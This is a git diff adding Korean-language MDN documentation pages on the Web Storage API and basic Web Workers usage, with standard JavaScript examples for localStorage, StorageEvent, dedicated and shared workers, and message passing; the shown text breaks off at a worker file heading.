{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +

Window.localStorage

+ +
+ + +

{{Compat("api.Window.localStorage")}}

+ +

Window.sessionStorage

+ +
+ + +

{{Compat("api.Window.sessionStorage")}}

+
+
+ +

사생활 보호 / 시크릿 모드

+ +

대부분의 최신 브라우저는 탐색 기록과 쿠키를 남기지 않는 "사생활 보호 모드", "시크릿 모드", 또는 비슷한 이름의 기능을 가지고 있습니다. 그리고 정말 분명한 이유로 인해 Web Storage와 호환되지 않습니다. 브라우저 공급자들은 다양한 시나리오에서 이를 해결하기 위해 실험을 진행하고 있습니다.

+ +

대부분의 브라우저는 Web Storage API에 접근 가능하며 기능하는 것 처럼 보이지만, 큰 차이점으로서, 브라우저를 닫으면 저장한 데이터를 제거하는 전략을 택하고 있습니다. 이런 브라우저 사이에서도, 일반 브라우징 세션에서 저장한 기존 데이터의 처리법에 대해서는 이견이 존재합니다. 사생활 보호 모드에서도 저 데이터에 접근할 수 있어야 할까요? 그런 반면, 마찬가지로 Web Storage API는 존재하지만 최대 용량을 0바이트 할당하여 어떠한 데이터도 입력할 수 없도록 하는 일부 브라우저도 존재하며, 대표적으로 Safari가 있습니다.

+ +

Web Storage API에 의존하는 웹 사이트를 개발할 때, 개발자는 이러한 구현 차이에 대해 고려해야 합니다. 더 많은 정보는 이 주제를 다루는 WHATWG 블로그 글을 참고하세요.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html new file mode 100644 index 0000000000..25ad6cfa5f --- /dev/null +++ b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -0,0 +1,218 @@ +--- +title: Web Storage API 사용하기 +slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API +translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API +--- +
{{DefaultAPISidebar("Web Storage API")}}
+ +

Web Storage API는 브라우저에서 쿠키를 사용하는 것보다 훨씬 직관적으로 key/value 데이터를 안전하게 저장할 수 있는 메커니즘을 제공합니다.

+ +

이 글은 본 기술을 어떻게 사용하는지 설명합니다.

+ +

기본 컨셉

+ +

Storage 객체는 단순한 key-value 저장소이며, 이는 객체와 비슷합니다. 하지만 이 데이터들은 페이지 로딩에도 온전하게 유지됩니다. key와 그 value는 항상 문자열입니다. (만약 정수로 키를 사용할 경우 이는 자동으로 string으로 변경됩니다, 자바스크립트 객체의 동작방식을 생각해보세요) 객체를 사용하듯이 쉽게 값에 접근할 수 있으며, 이 때 {{domxref("Storage.getItem()")}}과 {{domxref("Storage.setItem()")}} 메서드를 사용할 수 있습니다. 아래 세 줄은 (동일한) colorSetting 엔트리에 값을 설정하는 방법입니다.

+ +
localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+
+ +
+

노트: 일반 객체를 key-value 저장소로 사용할 때 pitfalls과 관련된 사항을 막기 위해 Web Storage API(setItem, getItemremoveItemkeylength)를 사용하는 걸 권장합니다.

+
+ +

Web Storage는 두 메커니즘을 가지고 있습니다.

+ + + +

이 메커니즘들은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성(좀 더 정확히 말하자면, 지원하는 브라우저에서 Window 객체는 localStorage 및 sessionStorage 속성 사용이 중단되는 WindowLocalStorageWindowSessionStorage로 구현됩니다)으로 사용 가능합니다. 이 중 하나를 호출하면 데이터를 설정, 검색 및 제거할 수 있는 {{domxref("Storage")}} 객체의 인스턴스가 생성됩니다. 각 Storage 객체는 각 origin 별 sessionStorage 나 localStorage로 사용됩니다. 동작도 제각기 동작합니다.

+ +

예를 들면, 문서에서 localStorage를 호출하면 {{domxref("Storage")}} 객체를 반환합니다. 문서에서 sessionStorage를 호출하면 다른 {{domxref("Storage")}} 객체를 반환합니다. 둘 다 같은 방법으로 조작할 수 있지만, 서로 다릅니다.

+ +

localStorage 기능 지원 감지

+ +

localStorage를 사용하려면 먼저 현재 브라우징 세션에서 지원되고 사용 가능한지 확인해야합니다.

+ +

사용 가능 검사

+ +

localStorage를 지원하는 브라우저는 windows 객체에  localStorage라는 property가 존재 합니다. 그러나 여러 가지 이유로 인해 예외가 발생할 수 있습니다. 존재한다 해도 다양한 브라우저가 localStorage를 비활성화하는 설정을 제공하기 때문에 localStorage가 실제로 사용 가능하다는 보장은 없습니다. 따라서 브라우저가 localStorage를 지원한다고 해도 스크립트에서 사용 하지 못 할 수도 있습니다.  예를 들어 사파리 브라우저의 사생활 보호 모드에서 할당량이 0 인 빈 localStorage 개체를 제공하므로 효과적으로 사용할 수 없게 만듭니다. 이때 QuotaExceededError를 얻을 수도 있습니다.  이는 사용가능한 저장공간을 모두 소모 했다는 의미로, localStorage를 사용할 수 없음을 뜻합니다.  이러한 시나리오를 고려하여 사용가능 여부를 검사하여야 합니다.

+ +

다음은 localStorage가 지원되고 사용 가능한지 여부를 감지하는 함수입니다.

+ +
function storageAvailable(type) {
+    var storage;
+    try {
+        storage = window[type];
+        var x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException && (
+            // Firefox를 제외한 모든 브라우저
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||
+            // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
+            // Firefox를 제외한 모든 브라우저
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
+            // 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
+            (storage && storage.length !== 0);
+    }
+}
+ +

위 함수를 다음과 같이 사용할 수 있습니다.

+ +
if (storageAvailable('localStorage')) {
+	// 야호! 우리는 localStorage를 사용할 수 있습니다.
+}
+else {
+	// 슬픈 소식, localStorage를 사용할 수 없습니다.
+}
+ +

storageAvailable('sessionStorage')를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있습니다.

+ +

여기서 로컬 스토리지 기능이 존재하는지 확인하는 방법에 대한 기록을 볼 수 있습니다.

+ +

예제

+ +

To illustrate some typical web storage usage, we have created a simple example, imaginatively called Web Storage Demo. The landing page provides controls that can be used to customize the color, font, and decorative image:

+ +

다른 색상을 선택하면, 페이지에 바로 적용됩니다. 또한 선택한 값을 localStorage에 저장했다면, 페이지를 나갔다가 나중에 다시 들어왔을 떄 이전에 저장한 값을 기억하고 있습니다.

+ +

We have also provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a {{domxref("StorageEvent")}} is fired.

+ +

+ +
+

Note: As well as viewing the example pages live using the above links, you can also check out the source code.

+
+ +

Testing whether your storage has been populated

+ +

To start with on main.js, we will test whether the storage object has already been populated (i.e., the page was previously accessed):

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+ +

The {{domxref("Storage.getItem()")}} method is used to get a data item from storage; in this case, we are testing to see whether the bgcolor item exists; if not, we run populateStorage() to add the existing customization values to the storage. If there are already values there, we run setStyles() to update the page styling with the stored values.

+ +

Note: You could also use {{domxref("Storage.length")}} to test whether the storage object is empty or not.

+ +

Getting values from storage

+ +

As noted above, values can be retrieved from storage using {{domxref("Storage.getItem()")}}. This takes the key of the data item as an argument, and returns the data value. For example:

+ +
function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +

Here, the first three lines grab the values from local storage. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.

+ +

Setting values in storage

+ +

{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+ +

The populateStorage() function sets three items in local storage — the background color, font, and image path. It then runs the setStyles() function to update the page styles, etc.

+ +

We've also included an onchange handler on each form element so that the data and styling are updated whenever a form value is changed:

+ +
bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;
+ +

Responding to storage changes with the StorageEvent

+ +

The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object (note that this event is not fired for sessionStorage changes). This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.

+ +

On the events page (see events.js) the only JavaScript is as follows:

+ +
window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = JSON.stringify(e.storageArea);
+});
+ +

Here we add an event listener to the window object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content).

+ +

데이터 제거하기

+ +

웹 스토리지에서는 데이터를 삭제하기 위한 두 가지 간단한 메소드를 제공합니다. 데모에서 사용하지는 않았지만, 간단하게 프로젝트에 추가할 수 있습니다:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ +

Window.localStorage

+ +
+ + +

{{Compat("api.Window.localStorage")}}

+ +

Window.sessionStorage

+ +
+ + +

{{Compat("api.Window.sessionStorage")}}

+
+
+ +

All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

+ +

See also

+ + diff --git a/files/ko/web/api/web_workers_api/basic_usage/index.html b/files/ko/web/api/web_workers_api/basic_usage/index.html new file mode 100644 index 0000000000..eb0e309e8e --- /dev/null +++ b/files/ko/web/api/web_workers_api/basic_usage/index.html @@ -0,0 +1,908 @@ +--- +title: 웹 워커 사용하기 +slug: Web/API/Web_Workers_API/basic_usage +translation_of: Web/API/Web_Workers_API/Using_web_workers +--- +
+

웹 워커는 웹 컨텐츠를 위해서 백그라운드 스레드에서 스크립트를 실행할 간편한 방법을 제공합니다. 워커 스레드는 사용자 인터페이스(UI)를 방해하지 않고 작업을 수행할 수 있습니다. 또한 워커는 ( responseXML 과 channel속성이 언제나 null이지만) XMLHttpRequest 를 사용하여 I/O작업을 수행할 수도 있습니다. 워커는 생성이 된 후에 생성자가 명시한 이벤트 핸들러로 메세지를 올려서 자신의 하위 작업(spawning task)에 메세지를 전달할 수 도 있습니다. 본 글에서 전용 워커와 공유 워커에 대하여 소개합니다.

+
+ +

Web Workers API

+ +

Worker는 생성자(예를 들면 {{domxref("Worker.Worker", "Worker()")}})를 사용하여 생성된 객체이며 이름있는 자바스크립트 파일(이 파일은 Worker 스레드에서 실행하는 코드를 가집니다)을 실행합니다. 또한 Worker는 현재의 {{domxref("window")}}와는 다른 글로벌 컨텍스트에서 실행됩니다. 따라서 {{domxref("Worker")}} 내에서 현재의 글로벌 스코프를 접근하기 위해 ({{domxref("window.self","self")}} 대신에) {{domxref("window")}}를 사용해도 오류가 돌아옵니다.

+ +

Worker의 콘텍스트는 Dedicated Workers(한 개의 스크립트가 이용하는 표준적인 Workers)일 경우{{domxref("DedicatedWorkerGlobalScope")}} 객체로 제공됩니다. (Shared Workers의 경우는 {{domxref("SharedWorkerGlobalScope")}}). Dedicated Worker 는 Worker 를 처음에 생성한 스크립트만 액세스 할 수 있습니다. 반면에 Shared Worker는, 복수의 스크립트에서 액세스 할 수 있습니다.

+ +
+

메모: Worker 의 레퍼런스 문서나 추가적인 가이드에 대해서는 The Web Workers API landing page를 봐 주세요.

+
+ +

Worker Thread에서는 몇 가지 제한 하에서 어떤 코드라도 실행할 수 있습니다. 예를 들어, Worker내에서는 직접 DOM 를 조작할 수 없습니다. 그리고 {{domxref("window")}} 객체의 기본 메서드나 속성에서 사용할 수 없는 것들이 있습니다. 그럼에도 WebSockets과 IndexedDB, Data Store API(Firefox OS 한정)와 같은 데이터 스토리지 메커니즘 등, window에 있는 다수의 아이템을 사용할 수 있습니다.자세한 것은 Functions and classes available to workers를 봐 주세요.

+ +

Worker와 메인 스레드 사이에서는 메시지 시스템을 통해 데이터를 발송합니다. 양쪽 모두 postMessage() 메서드를 사용하여 메시지를 발송하고, onmessage이벤트 핸들러에 의해 메시지에 응답합니다(메시지는 {{event("Message")}}이벤트의 data 속성에 들어갑니다). 데이터는 공유되지 않고 복사됩니다.

+ +

Worker 는 새로운 Worker 를 작성할 수 있습니다만, 생성된 Worker는 같은 부모 페이지일 경우에 한합니다. 추가적으로 Worker는 네트워크 I/O를 위한 XMLHttpRequest를 사용할 수 있으나,  responseXML의 exception과 channel속성의 XMLHttpRequest는 항상 null을 반환합니다.

+ +

Dedicated workers

+ +

As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our Basic dedicated worker example (run dedicated worker): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.

+ +

This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.

+ +

Worker feature detection

+ +

For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js):

+ +
if (window.Worker) {
+
+  ...
+
+}
+ +

Spawning a dedicated worker

+ +

Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (main.js):

+ +
var myWorker = new Worker("worker.js");
+ +

Sending messages to and from a dedicated worker

+ +

The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (main.js):

+ +
first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

So here we have two {{htmlelement("input")}} elements represented by the variables first and second; when the value of either is changed, myWorker.postMessage([first.value,second.value]) is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.

+ +

In the worker, we can respond when the message is received by writing an event handler block like this (worker.js):

+ +
onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}
+ +

The onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute. Here we simply multiply together the two numbers then use postMessage() again, to post the result back to the main thread.

+ +

Back in the main thread, we use onmessage again, to respond to the message sent back from the worker:

+ +
myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

Here we grab the message event data and set it as the textContent of the result paragraph, so the user can see the result of the calculation.

+ +
+

Note: The URI passed as a parameter to the Worker constructor must obey the same-origin policy .

+ +

There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.

+
+ +
+

Note: Notice that onmessage and postMessage() need to be hung off the Worker object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.

+
+ +
+

Note: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.

+
+ +

Terminating a worker

+ +

If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:

+ +
myWorker.terminate();
+ +

The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.

+ +

In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:

+ +
close();
+ +

Handling errors

+ +

When a runtime error occurs in the worker, its onerror event handler is called. It receives an event named error which implements the ErrorEvent interface.

+ +

The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's preventDefault() method.

+ +

The error event has the following three fields that are of interest:

+ +
+
message
+
A human-readable error message.
+
filename
+
The name of the script file in which the error occurred.
+
lineno
+
The line number of the script file on which the error occurred.
+
+ +

Spawning subworkers

+ +

Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.

+ +

Importing scripts and libraries

+ +

Worker threads have access to a global function, importScripts(), which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:

+ +
importScripts();                         /* imports nothing */
+importScripts('foo.js');                 /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js');       /* imports two scripts */
+importScripts('//example.com/hello.js'); /* You can import scripts from other origins */
+ +

The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, NETWORK_ERROR is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations after the importScripts()method are also kept, since these are always evaluated before the rest of the code.

+ +
+

Note: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into importScripts() . This is done synchronously; importScripts() does not return until all the scripts have been loaded and executed.

+
+ +

Shared workers

+ +

A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our Basic shared worker example (run shared worker): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: multiplying two numbers, or squaring a number. Both scripts use the same worker to do the actual calculation required.

+ +

Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.

+ +
+

Note: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).

+
+ +
+

Note: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).

+
+ +

Spawning a shared worker

+ +

Spawning a new worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following:

+ +
var myWorker = new SharedWorker("worker.js");
+ +

One big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).

+ +

The port connection needs to be started either implicitly by use of the onmessage event handler or explicitly with the start()method before any messages can be posted. Although the multiply.js and worker.js files in the demo currently call the start()method, those calls are not necessary since the onmessage event handler is being used. Calling start() is only needed if the message event is wired up via the addEventListener() method.

+ +

When using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.

+ +
myWorker.port.start();  // called in parent thread
+ +
port.start(); // called in worker thread, assuming the port variable references a port
+ +

Sending messages to and from a shared worker

+ +

Now messages can be sent to the worker as before, but the postMessage() method has to be invoked through the port object (again, you'll see similar constructs in both multiply.js and square.js):

+ +
squareNumber.onchange = function() {
+  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+  console.log('Message posted to worker');
+}
+ +

Now, on to the worker. There is a bit more complexity here as well (worker.js):

+ +
onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}
+ +

First, we use an onconnect handler to fire code when a connection to the port happens (i.e. when the onmessage event handler in the parent thread is setup, or when the start() method is explicitly called in the parent thread).

+ +

We use the ports attribute of this event object to grab the port and store it in a variable.

+ +

Next, we add a message handler on the port to do the calculation and return the result to the main thread. Setting up this messagehandler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to port.start() is not actually needed, as noted above.

+ +

Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both multiply.js and square.js):

+ +
myWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.

+ +

About thread safety

+ +

The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.

+ +

However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.

+ +

Content security policy

+ +

Workers are considered to have their own execution context, distinct from the document that created them. For this reasons they are, in general, not governed by the content security policy of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:

+ +
Content-Security-Policy: script-src 'self'
+ +

Among other things, this will prevent any scripts it includes from using eval(). However, if the script constructs a worker, code running in the worker's context will be allowed to use eval().
+
+ To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which delivered the worker script itself.
+
+ The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker than created it.

+ +

Transferring data to and from workers: further details

+ +

Data passed between the main page and workers is copied, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker do not share the same instance, so the end result is that a duplicate is created on each end. Most browsers implement this feature as structured cloning.

+ +

To illustrate this, let's create for didactical purpose a function named emulateMessage(), which will simulate the behavior of a value that is cloned and not shared during the passage from a worker to the main page or vice versa:

+ +
function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object
+ +

A value that is cloned and not shared is called message. As you will probably know by now, messages can be sent to and from the main thread by using postMessage(), and the message event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.

+ +

example.html: (the main page):

+ +
var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");
+ +

my_task.js (the worker):

+ +
postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};
+ +

The structured cloning algorithm can accept JSON and a few things that JSON can't — like circular references.

+ +

Passing data examples

+ +

Example #1: Create a generic "asynchronous eval()"

+ +

The following example shows how to use a worker in order to asynchronously execute any JavaScript code allowed in a worker, through eval() within the worker:

+ +
// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+})();
+ +

The data URL is equivalent to a network request, with the following response:

+ +
onmessage = function (oEvent) {
+  postMessage({
+    "id": oEvent.data.id,
+    "evaluated": eval(oEvent.data.code)
+  });
+}
+ +

Sample usage:

+ +
// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
+ +

Example #2: Advanced passing JSON Data and creating a switching system

+ +

If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.

+ +

First, we create a QueryableWorker class that takes the url of the worker, a default listener, and an error handler, and this class is gonna keep track of a list of listeners and help us communicate wirh the worker:

+ +
function QueryableWorker(url, defaultListener, onError){
+    var instance = this,
+        worker = new Worker(url),
+        listeners = {};
+
+    this.defaultListener = defaultListener || function(){};
+
+    if (onError) {worker.onerror = onError;}
+
+    this.postMessage = function(message){
+        worker.postMessage(message);
+    }
+
+    this.terminate = function(){
+        worker.terminate();
+    }
+}
+ +

Then we add the methods of adding/removing listeners:

+ +
this.addListeners = function(name, listener){
+    listeners[name] = listener;
+}
+
+this.removeListeners = function(name){
+    delete listeners[name];
+}
+ +

Here we let the worker handle two simple operations for illuatration: getting the difference of two numbers and making an alert after three seconds. In order to acheieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.

+ +
/*
+  This functions takes at least one argument, the method name we want to query.
+  Then we can pass in the arguments that the method needs.
+ */
+this.sendQuery = function(){
+    if (arguments.length < 1){
+         throw new TypeError("QueryableWorker.sendQuery takes at least one argument");
+         return;
+    }
+    worker.postMessage({
+        "queryMethod": arguments[0],
+        "queryArguments": Array.prototype.slice.call(arguments, 1)
+    });
+}
+ +

We finish QueryableWorker with the onmessage method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in listeners.:

+ +
worker.onmessage = function(event){
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty("queryMethodListener") &&
+        event.data.hasOwnProperty("queryMethodArguments")){
+        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+    } else {
+        this.defaultListener.call(instance, event.data);
+    }
+}
+ +

Now onto the worker.  First we need to have the methods to handle the two simple operations:

+ +
var queryableFunctions = {
+    getDifference: function(a, b){
+        reply("printStuff", a - b);
+    },
+    waitSomeTime: function(){
+        setTimeout(function(){
+            reply("doAlert", 3, "seconds");
+        }, 3000);
+    }
+}
+
+function reply(){
+    if (arguments.length < 1) {
+        throw new TypeError("reply - takes at least one argument");
+        return;
+    }
+    postMessage({
+        queryMethodListener: arguments[0],
+        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
+    });
+}
+
+/* This method is called when main page calls QueryWorker's postMessage method directly*/
+function defaultReply(message){
+    // do something
+}
+ +

And the onmessage method is now trivial:

+ +
onmessage = function(event){
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty("queryMethod") &&
+        event.data.hasOwnProperty("queryMethodArguments")){
+        queryableFunctions[event.data.queryMethod]
+            .apply(self, event.data.queryMethodArguments);
+    } else {
+        defaultReply(event.data);
+    }
+}
+ +

Here are the full implementation:

+ +

example.html (the main page):

+ +
<!doctype html>
+  <html>
+    <head>
+      <meta charset="UTF-8"  />
+      <title>MDN Example - Queryable worker</title>
+    <script type="text/javascript">
+    /*
+      QueryableWorker instances methods:
+        * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+        * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+        * terminate(): terminates the Worker
+        * addListener(name, function): adds a listener
+        * removeListener(name): removes a listener
+      QueryableWorker instances properties:
+        * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+     */
+    function QueryableWorker(url, defaultListener, onError){
+      var instance = this,
+      worker = new Worker(url),
+      listeners = {};
+
+      this.defaultListener = defaultListener || function(){};
+
+      if (onError) {worker.onerror = onError;}
+
+      this.postMessage = function(message){
+        worker.postMessage(message);
+      }
+
+      this.terminate = function(){
+        worker.terminate();
+      }
+
+      this.addListeners = function(name, listener){
+        listeners[name] = listener;
+      }
+
+      this.removeListeners = function(name){
+        delete listeners[name];
+      }
+
+      worker.onmessage = function(event){
+        if (event.data instanceof Object &&
+          event.data.hasOwnProperty("queryMethodListener") &&
+          event.data.hasOwnProperty("queryMethodArguments")){
+          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+        } else {
+          this.defaultListener.call(instance, event.data);
+        }
+      }
+    }
+
+    // your custom "queryable" worker
+    var myTask = new QueryableWorker("my_task.js");
+
+    // your custom "listeners"
+    myTask.addListener("printStuff", function (result) {
+      document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + result + "!"));
+    });
+
+    myTask.addListener("doAlert", function (time, unit) {
+      alert("Worker waited for " + time + " " + unit + " :-)");
+    });
+</script>
+</head>
+<body>
+  <ul>
+    <li><a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
+    <li><a href="javascript:myTask.sendQuery('waitSomeTime');">Wait 3 seconds</a></li>
+    <li><a href="javascript:myTask.terminate();">terminate() the Worker</a></li>
+  </ul>
+</body>
+</html>
+ +

my_task.js (the worker):

